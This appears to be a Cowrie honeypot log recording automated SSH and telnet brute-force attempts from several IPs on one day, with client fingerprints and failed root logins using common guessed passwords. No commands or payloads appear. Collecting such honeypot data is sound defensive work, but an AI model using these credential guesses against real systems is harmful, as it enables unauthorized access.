{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:43.051205Z","src_ip":"43.135.177.217","session":"f654b2bd7427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:43.123952Z","src_ip":"43.135.177.217","session":"f654b2bd7427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coolkid","message":"login attempt [root/coolkid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:43.427201Z","src_ip":"43.135.177.217","session":"f654b2bd7427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:44.499524Z","src_ip":"43.135.177.217","session":"f654b2bd7427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":34778,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1e6e9f2065b","protocol":"ssh","message":"New connection: 43.153.70.247:34778 (10.17.0.5:22) [session: a1e6e9f2065b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:45.104251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:45.109483Z","src_ip":"43.153.70.247","session":"a1e6e9f2065b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:45.177747Z","src_ip":"43.153.70.247","session":"a1e6e9f2065b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456liu","message":"login attempt [root/123456liu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:45.483503Z","src_ip":"43.153.70.247","session":"a1e6e9f2065b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:39:46.554941Z","src_ip":"43.153.70.247","session":"a1e6e9f2065b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.596688747406006,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:02.667103Z","src_ip":"152.42.224.71","session":"26ad8d854607","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":44948,"dst_ip":"10.17.0.5","dst_port":22,"session":"9890feede107","protocol":"ssh","message":"New connection: 45.137.172.116:44948 (10.17.0.5:22) [session: 9890feede107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:09.264621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:09.272697Z","src_ip":"45.137.172.116","session":"9890feede107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:09.379827Z","src_ip":"45.137.172.116","session":"9890feede107","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thomas","message":"login attempt [root/thomas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:09.814661Z","src_ip":"45.137.172.116","session":"9890feede107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:10.919998Z","src_ip":"45.137.172.116","session":"9890feede107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55090,"dst_ip":"10.17.0.5","dst_port":23,"session":"40f7c734efd5","protocol":"telnet","message":"New connection: 152.42.224.71:55090 (10.17.0.5:23) [session: 40f7c734efd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:15.953449Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":54830,"dst_ip":"159.203.135.109","dst_port":22,"session":"85207c32e3f8","protocol":"ssh","message":"New connection: 43.173.84.253:54830 (159.203.135.109:22) [session: 85207c32e3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:33.346780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:33.351903Z","src_ip":"43.173.84.253","session":"85207c32e3f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:33.421554Z","src_ip":"43.173.84.253","session":"85207c32e3f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"info","password":"123456","message":"login attempt [info/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:33.730716Z","src_ip":"43.173.84.253","session":"85207c32e3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:34.804078Z","src_ip":"43.173.84.253","session":"85207c32e3f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42688,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c81ad69875b","protocol":"telnet","message":"New connection: 152.42.224.71:42688 (10.17.0.5:23) [session: 7c81ad69875b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:36.602514Z"}
{"eventid":"cowrie.session.closed","duration":55.993122577667236,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:38.783710Z","src_ip":"152.42.224.71","session":"a17ebde84bf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":37566,"dst_ip":"10.17.0.5","dst_port":22,"session":"041211905016","protocol":"ssh","message":"New connection: 43.135.177.217:37566 (10.17.0.5:22) [session: 041211905016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:51.663818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:51.668815Z","src_ip":"43.135.177.217","session":"041211905016","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:51.737356Z","src_ip":"43.135.177.217","session":"041211905016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":59412,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae60358949b3","protocol":"ssh","message":"New connection: 80.66.85.226:59412 (159.203.135.109:22) [session: ae60358949b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:51.813258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:51.818301Z","src_ip":"80.66.85.226","session":"ae60358949b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:51.908273Z","src_ip":"80.66.85.226","session":"ae60358949b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"startrek","message":"login attempt [root/startrek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:52.048903Z","src_ip":"43.135.177.217","session":"041211905016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p123456","message":"login attempt [root/p123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:52.178489Z","src_ip":"80.66.85.226","session":"ae60358949b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:53.120562Z","src_ip":"43.135.177.217","session":"041211905016","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:53.270207Z","src_ip":"80.66.85.226","session":"ae60358949b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54032,"dst_ip":"10.17.0.5","dst_port":23,"session":"bda9638d2ecb","protocol":"telnet","message":"New connection: 152.42.224.71:54032 (10.17.0.5:23) [session: bda9638d2ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:54.764633Z"}
{"eventid":"cowrie.session.closed","duration":2.903574228286743,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:57.668082Z","src_ip":"152.42.224.71","session":"bda9638d2ecb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":53666,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5f2168bba56","protocol":"ssh","message":"New connection: 43.153.70.247:53666 (10.17.0.5:22) [session: e5f2168bba56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:57.925616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:57.930538Z","src_ip":"43.153.70.247","session":"e5f2168bba56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:57.998639Z","src_ip":"43.153.70.247","session":"e5f2168bba56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"heist","message":"login attempt [root/heist] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:58.302999Z","src_ip":"43.153.70.247","session":"e5f2168bba56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:40:59.373750Z","src_ip":"43.153.70.247","session":"e5f2168bba56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.91.1","src_port":56832,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d9df52b3349","protocol":"ssh","message":"New connection: 74.208.91.1:56832 (10.17.0.5:22) [session: 2d9df52b3349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:07.664957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:07.671780Z","src_ip":"74.208.91.1","session":"2d9df52b3349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:07.715837Z","src_ip":"74.208.91.1","session":"2d9df52b3349","protocol":"ssh"}
